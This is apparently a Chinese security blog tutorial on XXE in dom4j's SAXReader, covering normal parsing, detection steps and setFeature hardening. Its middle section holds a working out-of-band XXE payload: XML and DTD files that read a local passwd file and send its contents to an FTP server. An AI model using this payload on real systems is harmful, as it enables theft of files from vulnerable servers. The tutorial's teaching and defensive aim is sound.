0x01 何为SAXReader

官方描述:

Flexible XML framework for Java.

即灵活的Java XML框架,用于解析XML格式的内容。

0x02 常规用法Demo

需要下载dom4j的jar包:https://dom4j.github.io/

先定义一个user.xml,用于让DocumentBuilder来解析:

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>
<user>
<name>Mi1k7ea</name>
<sex>male</sex>
<age>20</age>
</user>

Demo代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class test {
public static void main(String[] args) throws Exception{
File f = new File("user.xml");
saxReader(f);
}

public static void saxReader(File f) throws DocumentException{
SAXReader saxReader = new SAXReader();
org.dom4j.Document d = saxReader.read(f);
Element root = d.getRootElement();
List<Element> childs = root.elements();
for (Element child : childs){
String name = child.getName();
String text = child.getText();
System.out.println(name + ":" + text);
}
}
}

运行后,发现成功解析了user.xml的内容:

0x03 XML注入漏洞验证

具体的步骤参考之前的博客《XML注入之DocumentBuilder与XXE攻击防御》,这里不再赘述。

下面只进行无回显外带OOB攻击Demo:

1
2
3
4
5
6
7
8
9
10
11
public class test {
public static void main(String[] args) throws Exception{
File f = new File("ftp.xml");
saxReader(f);
}

public static void saxReader(File f) throws DocumentException{
SAXReader saxReader = new SAXReader();
org.dom4j.Document d = saxReader.read(f);
}
}

ftp.xml

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///e:/passwd">
<!ENTITY % remote SYSTEM "http://127.0.0.1/xxe/ftp.dtd">
%remote;
%all;
]>
<root>&send;</root>

ftp.dtd

1
<!ENTITY % all "<!ENTITY send SYSTEM 'ftp://127.0.0.1:21/%file;'>">

运行本地FTPServer接收数据:

0x04 检测方法

1、在Java项目中搜索org.dom4j下的SAXReader,排查是否使用了该API解析XML文档内容;

2、若使用了,则进一步排查是否禁用了不安全的操作,具体的是看setFeature()的设置是否存在绕过的可能;

3、除了setFeature()的设置外,检查Reader在read()解析xml数据之前是否采用setEntityResolver()的方式来设置自定义实体解析方式;

0x05 防御方法

1
2
3
4
saxReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
saxReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
saxReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
saxReader.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);